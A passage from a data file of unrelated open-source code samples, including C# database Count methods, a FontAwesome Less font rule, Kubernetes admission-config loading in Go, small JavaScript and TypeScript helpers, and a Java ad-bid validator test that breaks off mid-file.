commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n QueryField where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return Count(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n IEnumerable where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return Count(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountInternal(connection: connection,\n where: where,\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n internal static long CountInternal(this IDbConnection connection,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n // Variables\n var request = new CountRequest(typeof(TEntity),\n connection,\n transaction,\n where,\n hints,\n statementBuilder);\n var param = (object)null;\n\n // Converts to propery mapped object\n if (where != null)\n {\n param = QueryGroup.AsMappedObject(new[] { where.MapTo() });\n }\n\n // Return the result\n return CountInternalBase(connection: connection,\n request: request,\n param: param,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace);\n }\n\n #endregion\n\n #region CountAsync\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The dynamic expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n object where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountAsync(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n Expression> where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountAsync(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n QueryField where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountAsync(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n IEnumerable where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountAsync(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return CountAsyncInternal(connection: connection,\n where: where,\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n internal static Task CountAsyncInternal(this IDbConnection connection,\n QueryGroup where = null,\n int? commandTimeout = null,\n string hints = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n // Variables\n var request = new CountRequest(typeof(TEntity),\n connection,\n transaction,\n where,\n hints,\n statementBuilder);\n var param = (object)null;\n\n // Converts to propery mapped object\n if (where != null)\n {\n param = QueryGroup.AsMappedObject(new[] { where.MapTo() });\n }\n\n // Return the result\n return CountInternalAsyncBase(connection: connection,\n request: request,\n param: param,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace);\n }\n\n #endregion\n\n #region Count(TableName)\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The dynamic expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n string tableName,\n object where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return Count(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n string tableName,\n QueryField where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return Count(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n string tableName,\n IEnumerable where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return Count(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n string tableName,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return CountInternal(connection: connection,\n tableName: tableName,\n where: where,\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n internal static long CountInternal(this IDbConnection connection,\n string tableName,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n // Variables\n var request = new CountRequest(tableName,\n connection,\n transaction,\n where,\n hints,\n statementBuilder);\n var param = (object)null;\n\n // Converts to propery mapped object\n if (where != null)\n {\n param = QueryGroup.AsMappedObject(new[] { where.MapTo(null) });\n }\n\n // Return the result\n return CountInternalBase(connection: connection,\n request: request,\n param: param,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace);\n }\n\n #endregion\n\n #region CountAsync(TableName)\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The dynamic expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n string tableName,\n object where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return CountAsync(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n string tableName,\n QueryField where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return CountAsync(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n string tableName,\n IEnumerable where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return CountAsync(connection: connection,\n tableName: tableName,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static Task CountAsync(this IDbConnection connection,\n string tableName,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n return CountAsyncInternal(connection: connection,\n tableName: tableName,\n where: where,\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The name of the target table to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n internal static Task CountAsyncInternal(this IDbConnection connection,\n string tableName,\n QueryGroup where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n {\n // Variables\n var request = new CountRequest(tableName,\n connection,\n transaction,\n where,\n hints,\n statementBuilder);\n var param = (object)null;\n\n // Converts to propery mapped object\n if (where != null)\n {\n param = QueryGroup.AsMappedObject(new[] { where.MapTo(null) });\n }\n\n // Return the result\n return CountInternalAsyncBase(connection: connection,\n request: request,\n param: param,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace);\n }\n\n #endregion\n\n #region CounterInternalBase\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The connection object to be used.\n /// The actual object.\n /// The mapped object parameters.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// An integer value that holds the number of data from the database.\n internal static long CountInternalBase(this IDbConnection connection,\n CountRequest request,\n object param,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null)\n {\n // Variables\n var commandType = CommandType.Text;\n var commandText = CommandTextCache.GetCountText(request);\n\n // Before Execution\n if (trace != null)\n {\n var cancellableTraceLog = new CancellableTraceLog(commandText, param, null);\n trace.BeforeCount(cancellableTraceLog);\n if (cancellableTraceLog.IsCancelled)\n {\n if (cancellableTraceLog.IsThrowException)\n {\n throw new CancelledExecutionException(commandText);\n }\n return default(int);\n }\n commandText = (cancellableTraceLog.Statement ?? commandText);\n param = (cancellableTraceLog.Parameter ?? param);\n }\n\n // Before Execution Time\n var beforeExecutionTime = DateTime.UtcNow;\n\n // Actual Execution\n var result = ExecuteScalarInternal(connection: connection,\n commandText: commandText,\n param: param,\n commandType: commandType,\n commandTimeout: commandTimeout,\n transaction: transaction,\n skipCommandArrayParametersCheck: true);\n\n // After Execution\n if (trace != null)\n {\n trace.AfterCount(new TraceLog(commandText, param, result,\n DateTime.UtcNow.Subtract(beforeExecutionTime)));\n }\n\n // Result\n return result;\n }\n\n #endregion\n\n #region CountAsyncInternalBase\n\n /// \n /// Counts the number of table data from the database in an asynchronous way.\n /// \n /// The connection object to be used.\n /// The actual object.\n /// The mapped object parameters.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// An integer value that holds the number of data from the database.\n internal static async Task CountInternalAsyncBase(this IDbConnection connection,\n CountRequest request,\n object param,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null)\n {\n // Variables\n var commandType = CommandType.Text;\n var commandText = CommandTextCache.GetCountText(request);\n\n // Before Execution\n if (trace != null)\n {\n var cancellableTraceLog = new CancellableTraceLog(commandText, param, null);\n trace.BeforeCount(cancellableTraceLog);\n if (cancellableTraceLog.IsCancelled)\n {\n if (cancellableTraceLog.IsThrowException)\n {\n throw new CancelledExecutionException(commandText);\n }\n return default(int);\n }\n commandText = (cancellableTraceLog.Statement ?? commandText);\n param = (cancellableTraceLog.Parameter ?? param);\n }\n\n // Before Execution Time\n var beforeExecutionTime = DateTime.UtcNow;\n\n // Actual Execution\n var result = await ExecuteScalarAsyncInternal(connection: connection,\n commandText: commandText,\n param: param,\n commandType: commandType,\n commandTimeout: commandTimeout,\n transaction: transaction,\n skipCommandArrayParametersCheck: true);\n\n // After Execution\n if (trace != null)\n {\n trace.AfterCount(new TraceLog(commandText, param, result,\n DateTime.UtcNow.Subtract(beforeExecutionTime)));\n }\n\n // Result\n return result;\n }\n\n #endregion\n }\n}\n"} -{"text": "/* FONT PATH\n * -------------------------- */\n\n@font-face {\n font-family: 'FontAwesome';\n src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');\n src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),\n url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'),\n url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),\n url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),\n url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');\n // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts\n font-weight: normal;\n font-style: normal;\n}\n"} -{"text": "from pyperformance.benchmarks.bm_deltablue import delta_blue\n\n\ndef faasm_main():\n delta_blue(100)\n\n\nif __name__ == \"__main__\":\n faasm_main()\n"} -{"text": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage admission\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\n\t\"k8s.io/klog/v2\"\n\t\"sigs.k8s.io/yaml\"\n\n\t\"k8s.io/apimachinery/pkg/runtime\"\n\t\"k8s.io/apimachinery/pkg/runtime/serializer\"\n\t\"k8s.io/apimachinery/pkg/util/sets\"\n\t\"k8s.io/apiserver/pkg/apis/apiserver\"\n\tapiserverv1 \"k8s.io/apiserver/pkg/apis/apiserver/v1\"\n)\n\nfunc makeAbs(path, base string) (string, error) {\n\tif filepath.IsAbs(path) {\n\t\treturn path, nil\n\t}\n\tif len(base) == 0 || base == \".\" {\n\t\tcwd, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tbase = cwd\n\t}\n\treturn filepath.Join(base, path), nil\n}\n\n// ReadAdmissionConfiguration reads the admission configuration at the specified path.\n// It returns the loaded admission configuration if the input file aligns with the required syntax.\n// If it does not align with the provided syntax, it returns a default configuration for the enumerated\n// set of pluginNames whose config location references the specified configFilePath.\n// It does this to preserve backward compatibility when admission control files were opaque.\n// It returns an error if the file did not exist.\nfunc ReadAdmissionConfiguration(pluginNames []string, configFilePath string, configScheme *runtime.Scheme) (ConfigProvider, error) {\n\tif configFilePath == \"\" {\n\t\treturn configProvider{config: &apiserver.AdmissionConfiguration{}}, nil\n\t}\n\t// a file was provided, so we just read it.\n\tdata, err := ioutil.ReadFile(configFilePath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to read admission control configuration from %q [%v]\", configFilePath, err)\n\t}\n\tcodecs := serializer.NewCodecFactory(configScheme)\n\tdecoder := codecs.UniversalDecoder()\n\tdecodedObj, err := runtime.Decode(decoder, data)\n\t// we were able to decode the file successfully\n\tif err == nil {\n\t\tdecodedConfig, ok := decodedObj.(*apiserver.AdmissionConfiguration)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"unexpected type: %T\", decodedObj)\n\t\t}\n\t\tbaseDir := path.Dir(configFilePath)\n\t\tfor i := range decodedConfig.Plugins {\n\t\t\tif decodedConfig.Plugins[i].Path == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// we update relative file paths to absolute paths\n\t\t\tabsPath, err := makeAbs(decodedConfig.Plugins[i].Path, baseDir)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tdecodedConfig.Plugins[i].Path = absPath\n\t\t}\n\t\treturn configProvider{\n\t\t\tconfig: decodedConfig,\n\t\t}, nil\n\t}\n\t// we got an error where the decode wasn't related to a missing type\n\tif !(runtime.IsMissingVersion(err) || runtime.IsMissingKind(err) || runtime.IsNotRegisteredError(err)) {\n\t\treturn nil, err\n\t}\n\n\t// Only tolerate load errors if the file appears to be one of the two legacy plugin configs\n\tunstructuredData := map[string]interface{}{}\n\tif err2 := yaml.Unmarshal(data, &unstructuredData); err2 != nil {\n\t\treturn nil, err\n\t}\n\t_, isLegacyImagePolicy := unstructuredData[\"imagePolicy\"]\n\t_, isLegacyPodNodeSelector := unstructuredData[\"podNodeSelectorPluginConfig\"]\n\tif !isLegacyImagePolicy && !isLegacyPodNodeSelector {\n\t\treturn nil, err\n\t}\n\n\t// convert the legacy format to the new admission control format\n\t// in order to preserve backwards compatibility, we set plugins that\n\t// previously read input from a non-versioned file configuration to the\n\t// current input file.\n\tlegacyPluginsWithUnversionedConfig := sets.NewString(\"ImagePolicyWebhook\", \"PodNodeSelector\")\n\texternalConfig := &apiserverv1.AdmissionConfiguration{}\n\tfor _, pluginName := range pluginNames {\n\t\tif legacyPluginsWithUnversionedConfig.Has(pluginName) {\n\t\t\texternalConfig.Plugins = append(externalConfig.Plugins,\n\t\t\t\tapiserverv1.AdmissionPluginConfiguration{\n\t\t\t\t\tName: pluginName,\n\t\t\t\t\tPath: configFilePath})\n\t\t}\n\t}\n\tconfigScheme.Default(externalConfig)\n\tinternalConfig := &apiserver.AdmissionConfiguration{}\n\tif err := configScheme.Convert(externalConfig, internalConfig, nil); err != nil {\n\t\treturn nil, err\n\t}\n\treturn configProvider{\n\t\tconfig: internalConfig,\n\t}, nil\n}\n\ntype configProvider struct {\n\tconfig *apiserver.AdmissionConfiguration\n}\n\n// GetAdmissionPluginConfigurationFor returns a reader that holds the admission plugin configuration.\nfunc GetAdmissionPluginConfigurationFor(pluginCfg apiserver.AdmissionPluginConfiguration) (io.Reader, error) {\n\t// if there is a nest object, return it directly\n\tif pluginCfg.Configuration != nil {\n\t\treturn bytes.NewBuffer(pluginCfg.Configuration.Raw), nil\n\t}\n\t// there is nothing nested, so we delegate to path\n\tif pluginCfg.Path != \"\" {\n\t\tcontent, err := ioutil.ReadFile(pluginCfg.Path)\n\t\tif err != nil {\n\t\t\tklog.Fatalf(\"Couldn't open admission plugin configuration %s: %#v\", pluginCfg.Path, err)\n\t\t\treturn nil, err\n\t\t}\n\t\treturn bytes.NewBuffer(content), nil\n\t}\n\t// there is no special config at all\n\treturn nil, nil\n}\n\n// ConfigFor returns a reader for the specified plugin.\n// If no specific configuration is present, we return a nil reader.\nfunc (p configProvider) ConfigFor(pluginName string) (io.Reader, error) {\n\t// there is no config, so there is no potential config\n\tif p.config == nil {\n\t\treturn nil, nil\n\t}\n\t// look for matching plugin and get configuration\n\tfor _, pluginCfg := range p.config.Plugins {\n\t\tif pluginName != pluginCfg.Name {\n\t\t\tcontinue\n\t\t}\n\t\tpluginConfig, err := GetAdmissionPluginConfigurationFor(pluginCfg)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn pluginConfig, nil\n\t}\n\t// there is no registered config that matches on plugin name.\n\treturn nil, nil\n}\n"} -{"text": "// https://github.com/leobalter/object-enumerables\nvar $export = require('./_export')\n , toObject = require('./_to-object');\n\n$export($export.S, 'Object', {\n enumerableValues: function enumerableValues(O){\n var T = toObject(O)\n , properties = [];\n for(var key in T)properties.push(T[key]);\n return properties;\n }\n});"} -{"text": "declare module 'isstream' {\n function istream(stream: any): boolean;\n interface Istream {\n isReadable(stream: any): boolean;\n isWritable(stream: any): boolean;\n isDuplex(stream: any): boolean;\n }\n module istream {}\n export = istream;\n}\n"} -{"text": "/*\n * Copyright 2014 Google Inc. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.google.doubleclick.util;\n\nimport static com.google.common.truth.Truth.assertThat;\nimport static java.util.Arrays.asList;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.protobuf.ByteString;\nimport com.google.protos.adx.NetworkBid.BidRequest;\nimport com.google.protos.adx.NetworkBid.BidRequest.AdSlot.MatchingAdData;\nimport com.google.protos.adx.NetworkBid.BidRequest.AdSlot.MatchingAdData.DirectDeal;\nimport com.google.protos.adx.NetworkBid.BidResponse;\n\nimport com.codahale.metrics.MetricRegistry;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\n/**\n * Tests for {@link DoubleClickValidator}.\n */\npublic class DoubleClickValidatorTest {\n private static BidRequest request = BidRequest.newBuilder()\n .setId(ByteString.copyFromUtf8(\"0\"))\n .addAdslot(BidRequest.AdSlot.newBuilder()\n .setId(1)\n .setId(1)\n .addWidth(200)\n .addHeight(50)\n .addMatchingAdData(MatchingAdData.newBuilder()\n .addBillingId(10)\n .addDirectDeal(DirectDeal.newBuilder()\n .setDirectDealId(1)))\n .addExcludedAttribute(1)\n .addExcludedProductCategory(1)\n .addExcludedSensitiveCategory(1)\n .addAllowedVendorType(1)\n .addAllowedRestrictedCategory(1))\n .build();\n\n private MetricRegistry metricRegistry;\n private final DoubleClickMetadata metadata = new DoubleClickMetadata(\n new DoubleClickMetadata.ResourceTransport());\n private DoubleClickValidator validator;\n\n @Before\n public void setUp() {\n metricRegistry = new MetricRegistry();\n validator = new DoubleClickValidator(metricRegistry, metadata);\n }\n\n @Test\n public void testGoodAttrs() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAttribute(2)\n .addCategory(2)\n .addVendorType(1)\n .addRestrictedCategory(1));\n validator.validate(request, response);\n assertThat(bids(response)).isNotEmpty();\n }\n\n @Test\n public void testNoAttrs() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid());\n validator.validate(request, response);\n assertThat(bids(response)).isNotEmpty();\n }\n\n @Test\n public void testExcludedAttribute() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAllAttribute(asList(1, 2)));\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testExcludedProductCategory() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAllCategory(asList(1, 2)));\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testExcludedSensitiveCategory() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAllCategory(asList(10, 11, 12, 4)));\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testNotAllowedVendor() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAllVendorType(asList(2, 3)));\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n BidRequest gdnRequest = request.toBuilder().setSellerNetworkId(1 /* GDN */).build();\n response = BidResponse.newBuilder().addAd(testBid()\n .addAllVendorType(asList(2, 3)));\n validator.validate(gdnRequest, response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testNotAllowedRestrictedCategory() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(testBid()\n .addAllRestrictedCategory(asList(2, 3)));\n validator.validate(request, 